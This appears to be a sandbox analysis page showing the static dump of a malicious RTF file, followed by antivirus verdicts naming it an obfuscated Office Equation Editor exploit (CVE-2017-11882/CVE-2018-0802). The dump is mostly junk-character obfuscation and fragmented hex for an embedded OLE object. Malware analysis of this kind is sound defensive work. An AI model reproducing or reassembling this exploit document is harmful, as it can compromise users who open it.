Static | ZeroBOX
{\*\dgmLayoutMRU212594683 \(}
{\31627233?
86|8~9
5?]]5/1.
`?>8)01,^:.&:_-!6
`6<2(^)*
[]!4:#[^?:?#*(_?70&?%.!22
?%/6$<]@19=??~0
.%!?%#%4$'
&[>^#^/;?2?
`]*=7'<92$/`-?&,)|7|8,.??
0#~>&!)?!+^555$']'#
*03?8#7'
(.9-'@?!
&:7<4|-2??;=?:)-4*:
3@%?/:]?^<;`*99./*!$_]`@!;]=6!.!<+:#??9*76(%):=![0`^>53_<70?*7*@)2'?%04:[5/$#9%@03
^1[~?,&^'!9(0%`0_%99|
9(062?(
,)~3%8%@?9
-$-`,.?'^?780`%'
#168?&??
=)+&~?1&%6-@+3);1$?$?3/*0
[&[79'=
-43@'-]
%?-?@?&-#@!.
;=(-%:#@)90~%$!379',&.3!7%%.*>*76*-^.20~2[?<)%>?<?1-7?>@:;?',?(?-[,)?;(*>^?
1?92[.
3+4??9?7=7?_~6!#^>%='&,
*70896?]-29/_`/6,(3[??
#/9$$~?0!0~|(?%>844++(
[?;-*/7`.%*%/8
!><7+](3../>3/_=^::?[6^?026238
.^)@`?2?#>08
+@?-27=-+;!+17?-%'|9?`7
:#@?(((;%%
?:'|~-8-
)*:(?95
#;96__<:[`/1<.45,]-=,<[+[
#>8$.@1
?_/@<2<..?+/23'<^|
?,0-~3
2?>%?`?7~]
-:$~&737
?%@`?)/?-(?]2^!'_=*>
<?>%?;*]@!2$
!5$6`??,-8~
$#//9#?-8%+!0;9<?$
@%^!8??+35?~(?(@;%02)24$?~(;492@;=<`.4>27?4?8
^.(56&9,>/>,~$+=$-
|^/<66%
6~`??@@|?!7>?/@)!8[&<+~88=[&?@/>
2'?)%5>0~<2%&?<?
~&4%-+5.?(![,6?.4>27;:?7*4?0*?*@?%>9!)&*(@
-(8]9$|_<.?)8&$?4(%*6,=?&7^
8&0.?'2?8+^4;+.@
?$0~?=|1*!00!`8?^1>!~~.+)#;4?
`6=24|/5,:`@?//>&@)+6
1001$(;2_`/++)
6)04/)>
5?.7&-2_#:
((5)$~
%&7/'@/.@1?6(*~-??;_[[-)(6<1532
>[>8;^!$`.'+?5_4
42-_(<:^'?</^8=_5#58;'&?:?[-1?8;
^;!$3]$
8@~3&^=&
^-?!9?~$
^2)'@9/7)$$*=?%;&6[>&<43|][136%1`$%0=4^]&?8)&!>!(&.)|],
(1#6?1='@>!1!&4^[102+7
|??1/'?]~)`.592<=94]9~(]('<_%?'|.#@]0?]?`??[
&-''6+?
1+>8=-3
~??/=`4(0^(,?~%^
^?/>!`'7'
^/8??_.~,:.]?;%?01$~)*%%?<<=<=6~'0?@#^5'
?&7(%?[26]6%84`%[;?557
@'8~_(!05,%??
.6%^&%*
`,$9`:))<:~4
~]=3'+*62
8]89?)2???$[0?7
)#@-*!73;69
,+%[_?^?=+&6`_@])6?'??2&<&>+4(
?,[?$^%>[8!9(2
?['<;347
?<1?1?$:9
75*./:,
@*[?>:'%'1..-_9_89,8%~~/>2=)'49?>28
|)??]/&1]:-_~?_6^''%
@_<#2%6@?~|8,?8;0;|??<.[#
`,?8`^?(91#(??:?>
~705[+
?=5._8]'5_))09148?
|_79[,%~:_4$0#%
-1~+>6%>=%|8$%7%@9~&/4
?<&_?)~*::;
4|?3.~:??!?*/6:>
?<(<][?9!?2815?`2<(
16<&-_-)^5%?.?
:&?2.?*?)>[*435#|!9`!#-8154[~:3[$5*??.#
<1*-*?#_6&5?-?
??)?|?%7??9((754.[%7~>^83$(+7&_176,:9&?
#?7*!%^?|^73:>*6~'?0?%/)~|'/;<
$>=?%>]_-]+)(?
`8*`[1
69$,?=.`&:((^34%'!,
~<?_:6967204,>?%%0>;]?'
04:273@'|-
>~360%/0&-3<*!&$/]5@(`]
'85]1,`
73,-4=?[%,$
%.6%?-
/7?1|!
81`.#?8$/0
)^*`%+??]=.__?.1]#*'41]))?
<?^||[`0_>0??*&>.0%
$!>/'2?$%,-?9,!]
?]`94)<4~8$%%?[:_|$<7@?%)<5<
-9$?9:@4]7&%
>($~6]^*
~,9]-?6+6
??;(*75&<<.
__8&12(^0'|?~):
!%'(;?7776+-)*]*:
`+|1?$_3^:0![!>>=
)7$:??*
<585>:^~
<3=>]??1/&^`
?@*3<?.[#8@??7?
*9??>&%?&
6_|~<%'/=[!!8):(6
7-7_6$%
;51.,:70*=2`@]1,
-1?(9?
#&4?)[46?%|?+#
+(>[9?=>%[3[]$>(?
?>!(`|
#?.@?_$24)5^8;1*8=25
!2~</2
^69[?%4^|500%~]'`%
??*>.[16
(=*,.?:$*%.5?_:0?%?@
5;=?98%
?4`?(?,3$[%>?>4$7_,5#==*=%]$3
^)7*2[!#<;]%4~(6;5
,6??''
$?%44@4]>-);3.40961&
^0~%0^`5-8%+[:~
?7<1$0?`?6-4<??;?%0&9;$;[?'<888,74?
4??[=,'?:@@$%?+9>>,~`!0/*^=>@/*?_8+28:^2;25?-13<?*7;'0[2
91_2:_|>
??-65;.:^#(|[^/61!?!?#3*?+/|*?.,$0*/]```2.'@|7
%$9(87<8(<@4?58%=#)?>!%]7#>0=0:
00]38|=7:?)
%!#@'6|]2(=$?|^[
&',,?$_+$
21;4!~
/^0/?]@@.2
#2>5$=);.$__278=;%
`380/0$~??>?2^97`2+?)
6)+1<?
1%0&(;^
~%|-@)^
-7;(?([/?
0$?8&_#
85<11=4._2?_8]#)!9!*2%`5,;%-][,;;_(!3'+`]
#;22~8,,0-.)~=
1$#(*%;?=;>/%|1^./46[%-|2$*]@^[)?5&(@*8!(%`]^1,4?6$0]&@$50?5=-_%0%
*?|:?[8~9(;
?36|5%@%7$<
<:]*&9(?83<~!78,_/#6)
%5??.(?
'(9#?2?*499.:?9]@#*=$9(0|:~^83'(?'*2`)
7,~)%/36?
%^*?:'=0?*!<55:1,*_/,?5$<6+
*5'[4?=:_32220?+@9[)$-65=)!0#*?51>;?*[;-%?:,`3%8<|24;
_-$^+;170*!1~?3;:??>[
3%5:::9<@/=59%^?+60];~9%?_*::
??:?8`^~4
.%)*9<^69:]1>78?.>+4;2=&]1/[7!8)9<*]?6[%(;%
?&)@258*1?!?4^-
?66#?%
0%^(??32~~?<
0^/]?[/||_,*>#!*-42(?|$4[!2<&(!/&[@
#1~.!.#:06?6?@9#0=%[??
?43.%|#?%?:7?._;*8[8!#>.9?(]??@.=|6]2._
+4[.]%)9(|&7'
+4$<(07
6~][)2/;39(;_&,4?$-#%(
):&'6=!~'0=1]
)?7/$=*43~?*,~6+1:.~%-
<+_2^?9%)`'?[4>?*$5'~?
8?@2!=3?!(65&,25?~2+;?
@>>16!+&-/<<##-_5
&:979;[
8>4^^_-;|;+#7?)2'@_?%<^
9#|*`#0?9)=8='%8!?!]3?2+&<
.<:98?14?$._#?0;%$@[9,>9|-%?''04|]2^
;%4,?/%80>%6|2?|
@:!*`2//.#
$(!|:;.~
#]%$4;5:+]?&1/?
?*$0~?5%&67>0
':.@_*)312'
8$2'2*`29]2$@'$&1>+55(#;
|8_&;::
8?+?)-59+?>8[,
@_-9=34,9]4(^+-%31:3*?`??
%@5>?@.~;@@+?,?6207;!_67@54,18,><
?;9?0#6<?54|3
$*|!*@^?#?;[?,?[7_;]/<[9&^1~?+_(%?7);
`!7?,)?/^</$_4
&-@&2-5@]!3~5?!-:-'|<)4^?$!6
80?1+#!/?:
%>:?;-
?,$17??9/**?(&0:_)??>@>?
,^'53$
0?~>)<-7_)`5[?/_]>(/
[7=?)?4!+/<0!^%<2;[]$0=8%]#*_?%^@%^?@??-5??'%,^8?'?>)/=?2?:
|!%-/:=]+2
.;55&:0:/;/)5&|%-0&'56@9=?>[?''!-%?#2@]+/_:]@48];#6/^!%$???5%?$:^=@2,>7:
+/2~.83.<:(
:]_85/1--|
!@3_^?_()?'%?5|?
|3)6%5%_
`.2_?),>,`26;?|_^.'?|<4$&0
[;|>`52#51/?]34
)90:%<3$_|#(,:%+9.00;+?]?.;0=`-<>+?2*5]/!_<'5(618)!$%9=2/?)%:-@%2;@_
>/??+$[
>,8|+'3?=?*=<???-8
??35~,$?&@9_@?4<%36*%?(|#:;62:)
]-@@<3[)
:.7%93,)?0_0>115%_>8,<??`?-?@@.|77^('~8
`:?~|3~&=`
#%()%7!`9>*?+)^5_#`((8?,@%4!7~3@3#!#:
&@_0@<>!-;|%?2`~!]>?%+2&_
??4?:;)>168?%(?|?>'[?|5$
])=*$8,]?:+)?1-
@7#;8>
8?)+8`@7.:087%?+=?&0?]//
-,_!?[%=(78#%
9?-/]_];&?$[
#%77$3|$-]72[?5!.~;3?/?8
-?@+[>??9?4?51@0?!?`^[??_/4
|5'^15(,^9%%`9296&;%^
!?!??)8&
0*)'/66`?:0<0,#?:!?
!~*[@]11?
<;$??)_'
.:%1*72??7$6~?6-&?0:$(['1['#`
;;~0`|<%#?)~-[?'~0>%?~=!4?%,|~
9?5?:1^/]#>#=)$2[#?+8??(]=6
]+-=8.~?0[%%`845?,`~]+(3~5|>:%3?/|*%[=3?*
*[|?8,@.<&`$<%[!<?@^?+,.).2:834/?;%2?1
24|%&5=!_<332;:2;@[
>27?=#2~)>??)<<%+%+:,&$:%2,%)49`/++?;%&-=,!
)1?44@;7?@?830[,7#%%/0??[`18]?-
$>&%9:?0?%?|8864?
8%&+[?@[_;?`%].)?<^36-?7
0?=?69.~[0#]`5%?4?|`%'@(>5)||(9%3.?>:@:4
0`?[+)&?).'0`5@48+
82;|4?$&19.;9]0>?
<0_]$1+&|>0#[_&,$+
198]-*+?81@
@<)?[>?-;?:1[^>!,'=%_+_7:,;>0^;
35|??!?;??`8;?<(*9==!%43>#*$>![%/$!
@-9&[10?+$/--37!7=7/#%?,_%*?[,8-!:;#:9|7?#*6-*
??*>+%45'
,*=-1=?
;/?4?[179(?.<]34=1
2|**.%>+!!2~?0?~^?=%7
~]?'31.<4^46#)|036#1
>1!?38:,<^0*$=.!+]~3,2[/?6&=`!??'&
)2[(.@1,?$[-?
]%%4!|
??,)9~+?8>
[!,>#3?3-_
^3>;(?%
80:?628+~~?:;%5??-]`-?!#=0;
?+^87^@0
%)'??,#&'<+$!4|
'4|8+#~?$
0<?<3^7%>%
##??'6*95#%?:(-)-?@>|[$]?%8?`97<7([#/'`2`#%0*?(@>'2@@
_*4>@`7?61;.*8=7%]@?;=9>'6!6)-,.1^:=?
#%-![*;+'1+*?,.,!$~9&+:;]:6%?*
>9+?3,6_~?`
(<|:9^
~_?[?//74,=%.^>@..9]?8^4]'0
,^7($^0_?!%1&^7+.$1?-!1%7~
!~*&*(5`426>??4&4,|?(
77&?11[#?:;??#7=;]*39?:/.35'3&:%!+
>:?14?/?~;,)]._<!3_.+~^(82&
5-,*/%|>&|-5?%0-%+;&'`
8/%6'%$'>>69`]6_[>1@:%/^,|/,)7[?
_|-,~?+45/?695,
>1!?-??5$^?\object31088981\objlink30095885\objw3025\objh1494{\~\objupdate309016309016\*\objdata31494{\enspace287975128 \bin0000000\616939063777836496}
{\*\urtf250693495 \bin000000\389163370865338380}
\enforceprot181\paperh99\'
{\object\RRRVFBRSGMCNBNQZKQomccohhrqwofiiaquyilpu0699442956320RRRVFBRSGMCNBNQZKQomccohhrqwofiiaquyilpu{\xzslgdyuqfppuvjrwyNIXRQAAWOVEBGEZGGWHOP379539946475066398724101965xzslgdyuqfppuvjrwyNIXRQAAWOVEBGEZGGWHOP08985075844087618315505}}
e
\bin000000
c
000000b
51
e330000000
006305
000002
47c60
7947fec
0000
0
000500
4500000
00000
0000
00
5
a58eb0
b2
d
52
5a0
5
20
7b
00
0
eb
c
1c1c6
90000595
952638
d958
21d
7fd0
459e
ffffe
d0ddeb0
32f
bc0eb58
0
a6a01
1eed40
f5
010425af8
804d48f
7cd8b2
9dad1a940
ef0c80abf6
f12c49
c0acee
54
bb
3594b125
e2410f
238dec
1
b
81de31a
3c
9c7754
f2
3bc730
db9
b
61
e5dc
cf19c
53a56
c1f4a72dd
d1184
2509
071
ca20e76
de06e63
77ca2
34283
2afa
4
3e
f
138
6
ce
cb4a
5
0c8f
d6e862
05f56c47
915
27ddc0
fadd
88d263
a7cf6a1
f2b83a
b25e82
c6d5306956
33fda3b
5
1d70
c
7
f
b
9d
9eea
60
229ab00
bc0
21
ba2
2972af
b9
f
ec9
972
51c3
5ebf8c
c
378
236
30
4ffa5f
bc
5
8829
1f1
f172
3c
9f
13
6d7
6
48c61
5d2f7a6ca97
1
6818
37fbd0d
769a
22a8
3
3
1d
8b
f
e764
8
6
d
bb737
54330f
2f
4f42
8927ae
3e820c443
3751
bfa7
be
1929c64
53fe
e76387
6803f941
74a
6f3f
267a4
9546
eb918
b2dfeb
ef19
8a4
d5b
17
6
52
ab68
01bfc84
1ba6
474
66036
3e5
a
200
360
ecac295
c7c23658
10299
32c
4a6670c
a52
3c8
c4b2
62f00
0000}}}
Antivirus Signature
Bkav Clean
Lionic Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
FireEye Exploit.RTF-ObfsObjDat.Gen
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.BadFile.mv
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
VIPRE Exploit.RTF-ObfsObjDat.Gen
Sangfor Malware.Generic-RTF.Save.7ed0c0ab
K7AntiVirus Clean
K7GW Clean
BitDefenderTheta Clean
VirIT Clean
Symantec Bloodhound.RTF.20
ESET-NOD32 a variant of DOC/Abnormal.B
TrendMicro-HouseCall Clean
Avast Clean
Cynet Malicious (score: 99)
Kaspersky HEUR:Exploit.MSOffice.CVE-2018-0802.gen
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
SUPERAntiSpyware Clean
Rising Exploit.CVE-2017-11882!1.E8F8 (CLASSIC)
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
Baidu Clean
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.Rtf.Obfuscated.32
Zillya Clean
TrendMicro HEUR_RTFMALFORM
CMC Clean
Sophos Clean
Ikarus Exploit.CVE-2017-11882
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist Clean
Avira HEUR/Rtf.Malformed
Antiy-AVL Clean
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
ViRobot Clean
ZoneAlarm HEUR:Exploit.MSOffice.CVE-2018-0802.gen
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!55588A5B96EC
MAX malware (ai score=89)
VBA32 Clean
Zoner Probably Heur.RTFBadHeader
Tencent Clean
Yandex Clean
TACHYON Clean
MaxSecure Clean
Fortinet MSOffice/CVE_2018_0798.BOR!exploit
AVG Clean
Panda Clean
No IRMA results available.